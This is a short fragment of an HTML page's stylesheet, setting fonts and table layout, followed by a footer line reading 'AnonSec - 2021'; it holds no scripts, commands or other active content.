    body { font-family: sans-serif; }
    table { border-collapse: collapse; width: 100%; }
    td, th { padding: 5px; text-align: left; }
</style>

AnonSec - 2021